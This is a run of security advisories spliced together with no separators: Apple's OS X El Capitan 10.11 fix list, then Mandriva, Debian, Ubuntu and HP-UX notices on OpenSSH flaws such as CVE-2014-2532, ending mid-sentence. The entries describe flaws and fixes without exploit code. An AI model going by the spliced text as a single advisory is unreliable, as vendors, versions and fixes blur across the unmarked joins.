\nCVE-ID\nCVE-2014-9425\nCVE-2014-9427\nCVE-2014-9652\nCVE-2014-9705\nCVE-2014-9709\nCVE-2015-0231\nCVE-2015-0232\nCVE-2015-0235\nCVE-2015-0273\nCVE-2015-1351\nCVE-2015-1352\nCVE-2015-2301\nCVE-2015-2305\nCVE-2015-2331\nCVE-2015-2348\nCVE-2015-2783\nCVE-2015-2787\nCVE-2015-3329\nCVE-2015-3330\n\nApple Online Store Kit\nAvailable for:  Mac OS X v10.6.8 and later\nImpact:  A malicious application may gain access to a user\u0027s keychain\nitems\nDescription:  An issue existed in validation of access control lists\nfor iCloud keychain items. This issue was addressed through improved\naccess control list checks. \nCVE-ID\nCVE-2015-5836 : XiaoFeng Wang of Indiana University, Luyi Xing of\nIndiana University, Tongxin Li of Peking University, Tongxin Li of\nPeking University, Xiaolong Bai of Tsinghua University\n\nAppleEvents\nAvailable for:  Mac OS X v10.6.8 and later\nImpact:  A user connected through screen sharing can send Apple\nEvents to a local user\u0027s session\nDescription:  An issue existed with Apple Event filtering that\nallowed some users to send events to other users. This was addressed\nby improved Apple Event handling. \nCVE-ID\nCVE-2015-5849 : Jack Lawrence (@_jackhl)\n\nAudio\nAvailable for:  Mac OS X v10.6.8 and later\nImpact:  Playing a malicious audio file may lead to an unexpected\napplication termination\nDescription:  A memory corruption issue existed in the handling of\naudio files. This issue issue was addressed through improved memory\nhandling. \nCVE-ID\nCVE-2015-5862 : YoungJin Yoon of Information Security Lab. (Adv.:\nProf. Taekyoung Kwon), Yonsei University, Seoul, Korea\n\nbash\nAvailable for:  Mac OS X v10.6.8 and later\nImpact:  Multiple vulnerabilities in bash\nDescription:  Multiple vulnerabilities existed in bash versions prior\nto 3.2 patch level 57. These issues were addressed by updating bash\nversion 3.2 to patch level 57. \nCVE-ID\nCVE-2014-6277\nCVE-2014-7186\nCVE-2014-7187\n\nCertificate Trust Policy\nAvailable for:  Mac OS X v10.6.8 and later\nImpact:  Update to the certificate trust policy\nDescription:  The certificate trust policy was updated. The complete\nlist of certificates may be viewed at https://support.apple.com/en-\nus/HT202858. \n\nCFNetwork Cookies\nAvailable for:  Mac OS X v10.6.8 and later\nImpact:  An attacker in a privileged network position can track a\nuser\u0027s activity\nDescription:  A cross-domain cookie issue existed in the handling of\ntop level domains. The issue was address through improved\nrestrictions of cookie creation. \nCVE-ID\nCVE-2015-5885 : Xiaofeng Zheng of Blue Lotus Team, Tsinghua\nUniversity\n\nCFNetwork FTPProtocol\nAvailable for:  Mac OS X v10.6.8 and later\nImpact:  Malicious FTP servers may be able to cause the client to\nperform reconnaissance on other hosts\nDescription:  An issue existed in the handling of FTP packets when\nusing the PASV command. This issue was resolved through improved\nvalidation. \nCVE-ID\nCVE-2015-5912 : Amit Klein\n\nCFNetwork HTTPProtocol\nAvailable for:  Mac OS X v10.6.8 and later\nImpact:  A maliciously crafted URL may be able to bypass HSTS and\nleak sensitive data\nDescription:  A URL parsing vulnerability existed in HSTS handling. \nThis issue was addressed through improved URL parsing. \nCVE-ID\nCVE-2015-5858 : Xiaofeng Zheng of Blue Lotus Team, Tsinghua\nUniversity\n\nCFNetwork HTTPProtocol\nAvailable for:  Mac OS X v10.6.8 and later\nImpact:  A malicious website may be able to track users in Safari\nprivate browsing mode\nDescription:  An issue existed in the handling of HSTS state in\nSafari private browsing mode. This issue was addressed through\nimproved state handling. \nCVE-ID\nCVE-2015-5860 : Sam Greenhalgh of RadicalResearch Ltd\n\nCFNetwork Proxies\nAvailable for:  Mac OS X v10.6.8 and later\nImpact:  Connecting to a malicious web proxy may set malicious\ncookies for a website\nDescription:  An issue existed in the handling of proxy connect\nresponses. This issue was addressed by removing the set-cookie header\nwhile parsing the connect response. \nCVE-ID\nCVE-2015-5841 : Xiaofeng Zheng of Blue Lotus Team, Tsinghua\nUniversity\n\nCFNetwork SSL\nAvailable for:  Mac OS X v10.6.8 and later\nImpact:  An attacker with a privileged network position may intercept\nSSL/TLS connections\nDescription:  A certificate validation issue existed in NSURL when a\ncertificate changed. This issue was addressed through improved\ncertificate validation. \nCVE-ID\nCVE-2015-5824 : Timothy J. Wood of The Omni Group\n\nCFNetwork SSL\nAvailable for:  Mac OS X v10.6.8 and later\nImpact:  An attacker may be able to decrypt data protected by SSL\nDescription:  There are known attacks on the confidentiality of RC4. \nAn attacker could force the use of RC4, even if the server preferred\nbetter ciphers, by blocking TLS 1.0 and higher connections until\nCFNetwork tried SSL 3.0, which only allows RC4. This issue was\naddressed by removing the fallback to SSL 3.0. \n\nCoreCrypto\nAvailable for:  Mac OS X v10.6.8 and later\nImpact:  An attacker may be able to determine a private key\nDescription:  By observing many signing or decryption attempts, an\nattacker may have been able to determine the RSA private key. This\nissue was addressed using improved encryption algorithms. \n\nCoreText\nAvailable for:  Mac OS X v10.6.8 and later\nImpact:  Processing a maliciously crafted font file may lead to\narbitrary code execution\nDescription:  A memory corruption issue existed in the processing of\nfont files. This issue was addressed through improved input\nvalidation. \nCVE-ID\nCVE-2015-5874 : John Villamil (@day6reak), Yahoo Pentest Team\n\nDev Tools\nAvailable for:  Mac OS X v10.6.8 and later\nImpact:  A malicious application may be able to execute arbitrary\ncode with system privileges\nDescription:  A memory corruption issue existed in dyld. This was\naddressed through improved memory handling. \nCVE-ID\nCVE-2015-5876 : beist of grayhash\n\nDev Tools\nAvailable for:  Mac OS X v10.6.8 and later\nImpact:  An application may be able to bypass code signing\nDescription:  An issue existed with validation of the code signature\nof executables. This issue was addressed through improved bounds\nchecking. \nCVE-ID\nCVE-2015-5839 : @PanguTeam\n\nDisk Images\nAvailable for:  Mac OS X v10.6.8 and later\nImpact:  A local user may be able to execute arbitrary code with\nsystem privileges\nDescription:  A memory corruption issue existed in DiskImages. This\nissue was addressed through improved memory handling. \nCVE-ID\nCVE-2015-5847 : Filippo Bigarella, Luca Todesco\n\ndyld\nAvailable for:  Mac OS X v10.6.8 and later\nImpact:  An application may be able to bypass code signing\nDescription:  An issue existed with validation of the code signature\nof executables. This issue was addressed through improved bounds\nchecking. \nCVE-ID\nCVE-2015-5839 : TaiG Jailbreak Team\n\nEFI\nAvailable for:  Mac OS X v10.6.8 and later\nImpact:  A malicious application can prevent some systems from\nbooting\nDescription:  An issue existed with the addresses covered by the\nprotected range register. This issue was fixed by changing the\nprotected range. \nCVE-ID\nCVE-2015-5900 : Xeno Kovah \u0026 Corey Kallenberg from LegbaCore\n\nEFI\nAvailable for:  Mac OS X v10.6.8 and later\nImpact:  A malicious Apple Ethernet Thunderbolt adapter may be able\nto affect firmware flashing\nDescription:  Apple Ethernet Thunderbolt adapters could modify the\nhost firmware if connected during an EFI update. This issue was\naddressed by not loading option ROMs during updates. \nCVE-ID\nCVE-2015-5914 : Trammell Hudson of Two Sigma Investments and snare\n\nFinder\nAvailable for:  Mac OS X v10.6.8 and later\nImpact:  The \"Secure Empty Trash\" feature may not securely delete\nfiles placed in the Trash\nDescription:  An issue existed in guaranteeing secure deletion of\nTrash files on some systems, such as those with flash storage. This\nissue was addressed by removing the \"Secure Empty Trash\" option. \nCVE-ID\nCVE-2015-5901 : Apple\n\nGame Center\nAvailable for:  Mac OS X v10.6.8 and later\nImpact:  A malicious Game Center application may be able to access a\nplayer\u0027s email address\nDescription:  An issue existed in Game Center in the handling of a\nplayer\u0027s email. This issue was addressed through improved access\nrestrictions. \nCVE-ID\nCVE-2015-5855 : Nasser Alnasser\n\nHeimdal\nAvailable for:  Mac OS X v10.6.8 and later\nImpact:  An attacker may be able to replay Kerberos credentials to\nthe SMB server\nDescription:  An authentication issue existed in Kerberos\ncredentials. This issue was addressed through additional validation\nof credentials using a list of recently seen credentials. \nCVE-ID\nCVE-2015-5913 : Tarun Chopra of Microsoft Corporation, U.S. and Yu\nFan of Microsoft Corporation, China\n\nICU\nAvailable for:  Mac OS X v10.6.8 and later\nImpact:  Multiple vulnerabilities in ICU\nDescription:  Multiple vulnerabilities existed in ICU versions prior\nto 53.1.0. These issues were addressed by updating ICU to version\n55.1. \nCVE-ID\nCVE-2014-8146\nCVE-2014-8147\nCVE-2015-5922\n\nInstall Framework Legacy\nAvailable for:  Mac OS X v10.6.8 and later\nImpact:  A local user may be able to gain root privileges\nDescription:  A restriction issue existed in the Install private\nframework containing a privileged executable. This issue was\naddressed by removing the executable. \nCVE-ID\nCVE-2015-5888 : Apple\n\nIntel Graphics Driver\nAvailable for:  Mac OS X v10.6.8 and later\nImpact:  A local user may be able to execute arbitrary code with\nsystem privileges\nDescription:  Multiple memory corruption issues existed in the Intel\nGraphics Driver. These issues were addressed through improved memory\nhandling. \nCVE-ID\nCVE-2015-5830 : Yuki MIZUNO (@mzyy94)\nCVE-2015-5877 : Camillus Gerard Cai\n\nIOAudioFamily\nAvailable for:  Mac OS X v10.6.8 and later\nImpact:  A local user may be able to determine kernel memory layout\nDescription:  An issue existed in IOAudioFamily that led to the\ndisclosure of kernel memory content. This issue was addressed by\npermuting kernel pointers. \nCVE-ID\nCVE-2015-5864 : Luca Todesco\n\nIOGraphics\nAvailable for:  Mac OS X v10.6.8 and later\nImpact:  A local user may be able to execute arbitrary code with\nkernel privileges\nDescription:  Multiple memory corruption issues existed in the\nkernel. These issues were addressed through improved memory handling. \nCVE-ID\nCVE-2015-5871 : Ilja van Sprundel of IOActive\nCVE-2015-5872 : Ilja van Sprundel of IOActive\nCVE-2015-5873 : Ilja van Sprundel of IOActive\nCVE-2015-5890 : Ilja van Sprundel of IOActive\n\nIOGraphics\nAvailable for:  Mac OS X v10.6.8 and later\nImpact:  A malicious application may be able to determine kernel\nmemory layout\nDescription:  An issue existed in IOGraphics which could have led to\nthe disclosure of kernel memory layout. This issue was addressed\nthrough improved memory management. \nCVE-ID\nCVE-2015-5865 : Luca Todesco\n\nIOHIDFamily\nAvailable for:  Mac OS X v10.6.8 and later\nImpact:  A malicious application may be able to execute arbitrary\ncode with system privileges\nDescription:  Multiple memory corruption issues existed in\nIOHIDFamily. These issues were addressed through improved memory\nhandling. \nCVE-ID\nCVE-2015-5866 : Apple\nCVE-2015-5867 : moony li of Trend Micro\n\nIOStorageFamily\nAvailable for:  Mac OS X v10.6.8 and later\nImpact:  A local attacker may be able to read kernel memory\nDescription:  A memory initialization issue existed in the kernel. \nThis issue was addressed through improved memory handling. \nCVE-ID\nCVE-2015-5863 : Ilja van Sprundel of IOActive\n\nKernel\nAvailable for:  Mac OS X v10.6.8 and later\nImpact:  A local user may be able to execute arbitrary code with\nkernel privileges\nDescription:  Multiple memory corruption issues existed in the\nKernel. These issues were addressed through improved memory handling. \nCVE-ID\nCVE-2015-5868 : Cererdlong of Alibaba Mobile Security Team\nCVE-2015-5896 : Maxime Villard of m00nbsd\nCVE-2015-5903 : CESG\n\nKernel\nAvailable for:  Mac OS X v10.6.8 and later\nImpact:  A local process can modify other processes without\nentitlement checks\nDescription:  An issue existed where root processes using the\nprocessor_set_tasks API were allowed to retrieve the task ports of\nother processes. This issue was addressed through additional\nentitlement checks. \nCVE-ID\nCVE-2015-5882 : Pedro Vilaca, working from original research by\nMing-chieh Pan and Sung-ting Tsai; Jonathan Levin\n\nKernel\nAvailable for:  Mac OS X v10.6.8 and later\nImpact:  A local attacker may control the value of stack cookies\nDescription:  Multiple weaknesses existed in the generation of user\nspace stack cookies. These issues were addressed through improved\ngeneration of stack cookies. \nCVE-ID\nCVE-2013-3951 : Stefan Esser\n\nKernel\nAvailable for:  Mac OS X v10.6.8 and later\nImpact:  An attacker may be able to launch denial of service attacks\non targeted TCP connections without knowing the correct sequence\nnumber\nDescription:  An issue existed in xnu\u0027s validation of TCP packet\nheaders. This issue was addressed through improved TCP packet header\nvalidation. \nCVE-ID\nCVE-2015-5879 : Jonathan Looney\n\nKernel\nAvailable for:  Mac OS X v10.6.8 and later\nImpact:  An attacker in a local LAN segment may disable IPv6 routing\nDescription:  An insufficient validation issue existed in the\nhandling of IPv6 router advertisements that allowed an attacker to\nset the hop limit to an arbitrary value. This issue was addressed by\nenforcing a minimum hop limit. \nCVE-ID\nCVE-2015-5869 : Dennis Spindel Ljungmark\n\nKernel\nAvailable for:  Mac OS X v10.6.8 and later\nImpact:  A local user may be able to determine kernel memory layout\nDescription:  An issue existed that led to the disclosure of kernel\nmemory layout. This was addressed through improved initialization of\nkernel memory structures. \nCVE-ID\nCVE-2015-5842 : beist of grayhash\n\nKernel\nAvailable for:  Mac OS X v10.6.8 and later\nImpact:  A local user may be able to determine kernel memory layout\nDescription:  An issue existed in debugging interfaces that led to\nthe disclosure of memory content. This issue was addressed by\nsanitizing output from debugging interfaces. \nCVE-ID\nCVE-2015-5870 : Apple\n\nKernel\nAvailable for:  Mac OS X v10.6.8 and later\nImpact:  A local user may be able to cause a system denial of service\nDescription:  A state management issue existed in debugging\nfunctionality. This issue was addressed through improved validation. \nCVE-ID\nCVE-2015-5902 : Sergi Alvarez (pancake) of NowSecure Research Team\n\nlibc\nAvailable for:  Mac OS X v10.6.8 and later\nImpact:  A local user may be able to execute arbitrary code with\nkernel privileges\nDescription:  A memory corruption issue existed in the kernel. This\nissue was addressed through improved memory handling. \nCVE-ID\nCVE-2014-8611 : Adrian Chadd and Alfred Perlstein of Norse\nCorporation\n\nlibpthread\nAvailable for:  Mac OS X v10.6.8 and later\nImpact:  A local user may be able to execute arbitrary code with\nkernel privileges\nDescription:  A memory corruption issue existed in the kernel. This\nissue was addressed through improved memory handling. \nCVE-ID\nCVE-2015-5899 : Lufeng Li of Qihoo 360 Vulcan Team\n\nlibxpc\nAvailable for:  Mac OS X v10.6.8 and later\nImpact:  Many SSH connections could cause a denial of service\nDescription:  launchd had no limit on the number of processes that\ncould be started by a network connection. This issue was addressed by\nlimiting the number of SSH processes to 40. \nCVE-ID\nCVE-2015-5881 : Apple\n\nLogin Window\nAvailable for:  Mac OS X v10.6.8 and later\nImpact:  The screen lock may not engage after the specified time\nperiod\nDescription:  An issue existed with captured display locking. The\nissue was addressed through improved lock handling. \nCVE-ID\nCVE-2015-5833 : Carlos Moreira, Rainer Dorau of rainer dorau\ninformationsdesign, Chris Nehren, Kai Takac, Hans Douma, Toni\nVaahtera, and an anonymous researcher\n\nlukemftpd\nAvailable for:  Mac OS X v10.6.8 and later\nImpact:  A remote attacker may be able to deny service to the FTP\nserver\nDescription:  A glob-processing issue existed in tnftpd. This issue\nwas addressed through improved glob validation. \nCVE-ID\nCVE-2015-5917 : Maksymilian Arciemowicz of cxsecurity.com\n\nMail\nAvailable for:  Mac OS X v10.6.8 and later\nImpact:  Printing an email may leak sensitive user information\nDescription:  An issue existed in Mail which bypassed user\npreferences when printing an email. This issue was addressed through\nimproved user preference enforcement. \nCVE-ID\nCVE-2015-5881 : Owen DeLong of Akamai Technologies, Noritaka Kamiya,\nDennis Klein from Eschenburg, Germany, Jeff Hammett of Systim\nTechnology Partners\n\nMail\nAvailable for:  Mac OS X v10.6.8 and later\nImpact:  An attacker in a privileged network position may be able to\nintercept attachments of S/MIME-encrypted e-mail sent via Mail Drop\nDescription:  An issue existed in handling encryption parameters for\nlarge email attachments sent via Mail Drop. The issue is addressed by\nno longer offering Mail Drop when sending an encrypted e-mail. \nCVE-ID\nCVE-2015-5884 : John McCombs of Integrated Mapping Ltd\n\nMultipeer Connectivity\nAvailable for:  Mac OS X v10.6.8 and later\nImpact:  A local attacker may be able to observe unprotected\nmultipeer data\nDescription:  An issue existed in convenience initializer handling in\nwhich encryption could be actively downgraded to a non-encrypted\nsession. This issue was addressed by changing the convenience\ninitializer to require encryption. \nCVE-ID\nCVE-2015-5851 : Alban Diquet (@nabla_c0d3) of Data Theorem\n\nNetworkExtension\nAvailable for:  Mac OS X v10.6.8 and later\nImpact:  A malicious application may be able to determine kernel\nmemory layout\nDescription:  An uninitialized memory issue in the kernel led to the\ndisclosure of kernel memory content. This issue was addressed through\nimproved memory initialization. \nCVE-ID\nCVE-2015-5831 : Maxime Villard of m00nbsd\n\nNotes\nAvailable for:  Mac OS X v10.6.8 and later\nImpact:  A local user may be able to leak sensitive user information\nDescription:  An issue existed in parsing links in the Notes\napplication. This issue was addressed through improved input\nvalidation. \nCVE-ID\nCVE-2015-5878 : Craig Young of Tripwire VERT, an anonymous researcher\n\nNotes\nAvailable for:  Mac OS X v10.6.8 and later\nImpact:  A local user may be able to leak sensitive user information\nDescription:  A cross-site scripting issue existed in parsing text by\nthe Notes application. This issue was addressed through improved\ninput validation. \nCVE-ID\nCVE-2015-5875 : xisigr of Tencent\u0027s Xuanwu LAB (www.tencent.com)\n\nOpenSSH\nAvailable for:  Mac OS X v10.6.8 and later\nImpact:  Multiple vulnerabilities in OpenSSH\nDescription:  Multiple vulnerabilities existed in OpenSSH versions\nprior to 6.9. These issues were addressed by updating OpenSSH to\nversion 6.9. \nCVE-ID\nCVE-2014-2532\n\nOpenSSL\nAvailable for:  Mac OS X v10.6.8 and later\nImpact:  Multiple vulnerabilities in OpenSSL\nDescription:  Multiple vulnerabilities existed in OpenSSL versions\nprior to 0.9.8zg. These were addressed by updating OpenSSL to version\n0.9.8zg. \nCVE-ID\nCVE-2015-0286\nCVE-2015-0287\n\nprocmail\nAvailable for:  Mac OS X v10.6.8 and later\nImpact:  Multiple vulnerabilities in procmail\nDescription:  Multiple vulnerabilities existed in procmail versions\nprior to 3.22. These issues were addressed by removing procmail. \nCVE-ID\nCVE-2014-3618\n\nremote_cmds\nAvailable for:  Mac OS X v10.6.8 and later\nImpact:  A local user may be able to execute arbitrary code with root\nprivileges\nDescription:  An issue existed in the usage of environment variables\nby the rsh binary. This issue was addressed by dropping setuid\nprivileges from the rsh binary. \nCVE-ID\nCVE-2015-5889 : Philip Pettersson\n\nremovefile\nAvailable for:  Mac OS X v10.6.8 and later\nImpact:  Processing malicious data may lead to unexpected application\ntermination\nDescription:  An overflow fault existed in the checkint division\nroutines. This issue was addressed with improved division routines. \nCVE-ID\nCVE-2015-5840 : an anonymous researcher\n\nRuby\nAvailable for:  Mac OS X v10.6.8 and later\nImpact:  Multiple vulnerabilities in Ruby\nDescription:  Multiple vulnerabilities existed in Ruby versions prior\nto 2.0.0p645. These were addressed by updating Ruby to version\n2.0.0p645. \nCVE-ID\nCVE-2014-8080\nCVE-2014-8090\nCVE-2015-1855\n\nSecurity\nAvailable for:  Mac OS X v10.6.8 and later\nImpact:  The lock state of the keychain may be incorrectly displayed\nto the user\nDescription:  A state management issue existed in the way keychain\nlock status was tracked. This issue was addressed through improved\nstate management. \nCVE-ID\nCVE-2015-5915 : Peter Walz of University of Minnesota, David Ephron,\nEric E. Lawrence, Apple\n\nSecurity\nAvailable for:  Mac OS X v10.6.8 and later\nImpact:  A trust evaluation configured to require revocation checking\nmay succeed even if revocation checking fails\nDescription:  The kSecRevocationRequirePositiveResponse flag was\nspecified but not implemented. This issue was addressed by\nimplementing the flag. \nCVE-ID\nCVE-2015-5894 : Hannes Oud of kWallet GmbH\n\nSecurity\nAvailable for:  Mac OS X v10.6.8 and later\nImpact:  A remote server may prompt for a certificate before\nidentifying itself\nDescription:  Secure Transport accepted the CertificateRequest\nmessage before the ServerKeyExchange message. This issue was\naddressed by requiring the ServerKeyExchange first. \nCVE-ID\nCVE-2015-5887 : Benjamin Beurdouche, Karthikeyan Bhargavan, Antoine\nDelignat-Lavaud, Alfredo Pironti, and Jean Karim Zinzindohoue of\nINRIA Paris-Rocquencourt, and Cedric Fournet and Markulf Kohlweiss of\nMicrosoft Research, Pierre-Yves Strub of IMDEA Software Institute\n\nSMB\nAvailable for:  Mac OS X v10.6.8 and later\nImpact:  A local user may be able to execute arbitrary code with\nkernel privileges\nDescription:  A memory corruption issue existed in the kernel. This\nissue was addressed through improved memory handling. \nCVE-ID\nCVE-2015-5891 : Ilja van Sprundel of IOActive\n\nSMB\nAvailable for:  Mac OS X v10.6.8 and later\nImpact:  A local user may be able to determine kernel memory layout\nDescription:  An issue existed in SMBClient that led to the\ndisclosure of kernel memory content. This issue was addressed through\nimproved bounds checking. \nCVE-ID\nCVE-2015-5893 : Ilja van Sprundel of IOActive\n\nSQLite\nAvailable for:  Mac OS X v10.6.8 and later\nImpact:  Multiple vulnerabilities in SQLite v3.8.5\nDescription:  Multiple vulnerabilities existed in SQLite v3.8.5. \nThese issues were addressed by updating SQLite to version 3.8.10.2. \nCVE-ID\nCVE-2015-3414\nCVE-2015-3415\nCVE-2015-3416\n\nTelephony\nAvailable for:  Mac OS X v10.6.8 and later\nImpact:  A local attacker can place phone calls without the user\u0027s\nknowledge when using Continuity\nDescription:  An issue existed in the authorization checks for\nplacing phone calls. This issue was addressed through improved\nauthorization checks. \nCVE-ID\nCVE-2015-3785 : Dan Bastone of Gotham Digital Science\n\nTerminal\nAvailable for:  Mac OS X v10.6.8 and later\nImpact:  Maliciously crafted text could mislead the user in Terminal\nDescription:  Terminal did not handle bidirectional override\ncharacters in the same way when displaying text and when selecting\ntext. This issue was addressed by suppressing bidirectional override\ncharacters in Terminal. \nCVE-ID\nCVE-2015-5883 : an anonymous researcher\n\ntidy\nAvailable for:  Mac OS X v10.6.8 and later\nImpact:  Visiting a maliciously crafted website may lead to arbitrary\ncode execution\nDescription:  Multiple memory corruption issues existed in tidy. \nThese issues were addressed through improved memory handling. \nCVE-ID\nCVE-2015-5522 : Fernando Munoz of NULLGroup.com\nCVE-2015-5523 : Fernando Munoz of NULLGroup.com\n\nTime Machine\nAvailable for:  Mac OS X v10.6.8 and later\nImpact:  A local attacker may gain access to keychain items\nDescription:  An issue existed in backups by the Time Machine\nframework. This issue was addressed through improved coverage of Time\nMachine backups. \nCVE-ID\nCVE-2015-5854 : Jonas Magazinius of Assured AB\n\nNote:  OS X El Capitan 10.11 includes the security content of\nSafari 9: https://support.apple.com/kb/HT205265. \n\nOS X El Capitan 10.11 may be obtained from the Mac App Store:\nhttp://www.apple.com/support/downloads/\n\nInformation will also be posted to the Apple Security Updates\nweb site: https://support.apple.com/kb/HT201222\n\nThis message is signed with Apple\u0027s Product Security PGP key,\nand details are available at:\nhttps://www.apple.com/support/security/pgp/\n\n-----BEGIN PGP SIGNATURE-----\nComment: GPGTools - http://gpgtools.org\n\niQIcBAEBCAAGBQJWDB2wAAoJEBcWfLTuOo7t0sYP/2L3JOGPkHH8XUh2YHpu5qaw\nS5F2v+SRpWleKQBVsGZ7oA8PV0rBTzEkzt8K1tNxYmxEqL9f/TpRiGoforn89thO\n/hOtmVOfUcBjPZ4XKwMVzycfSMC9o6LxWTLEKDVylE+F+5jkXafOC9QaqD11dxX6\nQhENkpS1BwrKhyaSVxEcgBQtZM9aTsVdZ78rTCb9XTn6gDnvs8NfIQquFOnaQT54\nYJ36e5UcUsnyBIol+yGDbC3ZEhzSVIGE5/8/NFlFfRXLgnJArxD8lqz8WdfU9fop\nhpT/dDqqAdYbRcW1ihcG1haiNHgP9yQCY5jRNfttb+Tc/kIi/QmPkEO0QS8Ygt/O\nc3sUbNulr1LCinymFVwx16CM1DplGS/GmBL18BAEBnL6yi9tEhYDynZWLSEa37VR\n8q802rXRSF10Wct9/kEeR4HgY/1k0KK/4Uddm3c0YyOU21ya7NAhoHGwmDa9g11r\nN1TniOK8tPiCGjRNOJwuF6DKxD9L3Fv44bVlxAarGUGYkICqzaNS+bgKI1aQNahT\nfJ91x5uKD4+L9v9c5slkoDIvWqIhO9oyuxgnmC5GstkwFplFXSOklLkTktjLGNn1\nnJq8cPnZ/3E1RXTEwVhGljYw5pdZHNx98XmLomGrPqVlZfjGURK+5AXdf2pOlt2e\ng6jld/w5tPuCFhGucE7Z\n=XciV\n-----END PGP SIGNATURE-----\n. \n _______________________________________________________________________\n\n References:\n\n http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-2532\n http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-2653\n http://advisories.mageia.org/MGASA-2014-0143.html\n http://advisories.mageia.org/MGASA-2014-0166.html\n _______________________________________________________________________\n\n Updated Packages:\n\n Mandriva Business Server 1/X86_64:\n 753bd40deb60429adc6a7c1afd63ee3d  mbs1/x86_64/openssh-5.9p1-6.3.mbs1.x86_64.rpm\n 377e7fbb14f72a1e32da41f19be7baa8  mbs1/x86_64/openssh-askpass-5.9p1-6.3.mbs1.x86_64.rpm\n a906db623fc8d56eab9b8b99b1af84d9  mbs1/x86_64/openssh-askpass-common-5.9p1-6.3.mbs1.x86_64.rpm\n 9fc03d4929efdf21a26aef308eb66f14  mbs1/x86_64/openssh-askpass-gnome-5.9p1-6.3.mbs1.x86_64.rpm\n f2dbea4a0a8109bc835c69e871f07a69  mbs1/x86_64/openssh-clients-5.9p1-6.3.mbs1.x86_64.rpm\n a20d329b8332ff7f7f10dd541a3865a9  mbs1/x86_64/openssh-server-5.9p1-6.3.mbs1.x86_64.rpm \n 0fd2c0a9338a7e8e8747c2ea3ae43c49  mbs1/SRPMS/openssh-5.9p1-6.3.mbs1.src.rpm\n _______________________________________________________________________\n\n To upgrade automatically use MandrivaUpdate or urpmi.  The verification\n of md5 checksums and GPG signatures is performed automatically for you. The Common Vulnerabilities and Exposures project\nidentifies the following problems:\n\nCVE-2014-2532\n\n    Jann Horn discovered that OpenSSH incorrectly handled wildcards in\n    AcceptEnv lines. \n\nCVE-2014-2653\n\n    Matthew Vernon reported that if a SSH server offers a\n    HostCertificate that the ssh client doesn\u0027t accept, then the client\n    doesn\u0027t check the DNS for SSHFP records. As a consequence a\n    malicious server can disable SSHFP-checking by presenting a\n    certificate. \n\n    Note that a host verification prompt is still displayed before\n    connecting. \n\nFor the oldstable distribution (squeeze), these problems have been fixed in\nversion 1:5.5p1-6+squeeze5. \n\nFor the stable distribution (wheezy), these problems have been fixed in\nversion 1:6.0p1-4+deb7u1. \n\nFor the unstable distribution (sid), these problems have been fixed in\nversion 1:6.6p1-1. \n\nWe recommend that you upgrade your openssh packages. ============================================================================\nUbuntu Security Notice USN-2155-1\nMarch 25, 2014\n\nopenssh vulnerability\n============================================================================\n\nA security issue affects these releases of Ubuntu and its derivatives:\n\n- Ubuntu 13.10\n- Ubuntu 12.10\n- Ubuntu 12.04 LTS\n- Ubuntu 10.04 LTS\n\nSummary:\n\nOpenSSH incorrectly handled environment restrictions with wildcards. \n\nUpdate instructions:\n\nThe problem can be corrected by updating your system to the following\npackage versions:\n\nUbuntu 13.10:\n  openssh-server                  1:6.2p2-6ubuntu0.2\n\nUbuntu 12.10:\n  openssh-server                  1:6.0p1-3ubuntu1.1\n\nUbuntu 12.04 LTS:\n  openssh-server                  1:5.9p1-5ubuntu1.2\n\nUbuntu 10.04 LTS:\n  openssh-server                  1:5.3p1-3ubuntu7.1\n\nIn general, a standard system update will make all the necessary changes. -----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA1\n\nNote: the current version of the following document is available here:\nhttps://h20564.www2.hp.com/portal/site/hpsc/public/kb/\ndocDisplay?docId=emr_na-c04499681\n\nSUPPORT COMMUNICATION - SECURITY BULLETIN\n\nDocument ID: c04499681\nVersion: 1\n\nHPSBUX03188 SSRT101487 rev.1 - HP-UX running HP Secure Shell, Remote Denial\nof Service (DoS) and other Vulnerabilities\n\nNOTICE: The information in this Security Bulletin should be acted upon as\nsoon as possible. \n\nRelease Date: 2014-11-07\nLast Updated: 2014-11-07\n\nPotential Security Impact: Remote Denial of Service (DoS) and other\nvulnerabilities\n\nSource: Hewlett-Packard Company, HP Software Security Response Team\n\nVULNERABILITY SUMMARY\nPotential security vulnerabilities have been identified with HP-UX running HP\nSecure Shell. These vulnerabilities could be exploited remotely to create a\nDenial of Service (DoS) and other vulnerabilities. \n\nReferences:\n\nCVE-2013-4548 - remote Permissions, Privileges, and Access Control (CWE-264)\n\nCVE-2014-1692 - remote Denial of Service (DoS), Buffer Errors (CWE-119)\n\nCVE-2014-2532 - remote Permissions, Privileges, and Access Control (CWE-264)\n\nCVE-2014-2653 - remote Input Validation (CWE-20)\n\nSSRT101487\n\nSUPPORTED SOFTWARE VERSIONS*: ONLY impacted versions are listed. \nHP-UX B.11.11 running HP Secure Shell before version A.06.20.010\n\nHP-UX B.11.23 running HP Secure Shell before version A.06.20.011\n\nHP-UX B.11.31 running HP Secure Shell before version A.06.20.012\n\nBACKGROUND\n\nCVSS 2.0 Base Metrics\n===========================================================\n  Reference              Base Vector             Base Score\nCVE-2013-4548    (AV:N/AC:M/Au:S/C:P/I:P/A:P)       6.0\nCVE-2014-1692    (AV:N/AC:L/Au:N/C:P/I:P/A:P)       7.5\nCVE-2014-2532    (AV:N/AC:M/Au:N/C:P/I:P/A:N)       5.8\nCVE-2014-2653    (AV:N/AC:M/Au:N/C:P/I:P/A:N)       5.8\n===========================================================\n             Information on CVSS is documented\n            in HP Customer Notice: HPSN-2008-002\n\nRESOLUTION\n\nHP has provided the following software updates to resolve this vulnerability. \nThe updates are available for download from:\nhttp://h20293.www2.hp.com/portal/swdepot/displayProductInfo.do?productNumber=\nT1471AA\n\nOS Release\n HP Secure Shell Version\n Depot Name\n\nHP-UX B.11.11 (11i v1)\n A.06.20.010 or subsequent\n HP_UX_11i_v1_T1471AA_A.06.20.010_HP-UX_B.11.11_32_64.depot\n\nHP-UX B.11.23 (11i v2)\n A.06.20.011 or subsequent\n HP_UX_11i_v2_T1471AA_A.06.20.011_HP-UX_B.11.23_IA_PA.depot\n\nHP-UX B.11.31 (11i v3)\n A.06.20.012 or subsequent\n HP_UX_11i_v3_SecureShell_A.06.20.012_HP-UX_B.11.31_IA_PA.depot\n\nMANUAL ACTIONS: Yes - Update\n\nPRODUCT SPECIFIC INFORMATION\n\nHP-UX Software Assistant:\nHP-UX Software Assistant is an enhanced application that replaces HP-UX\nSecurity Patch Check. It analyzes all HP-issued Security Bulletins and lists\nrecommended actions that may apply to a specific HP-UX system. It can also\ndownload patches and create a depot automatically. For more information 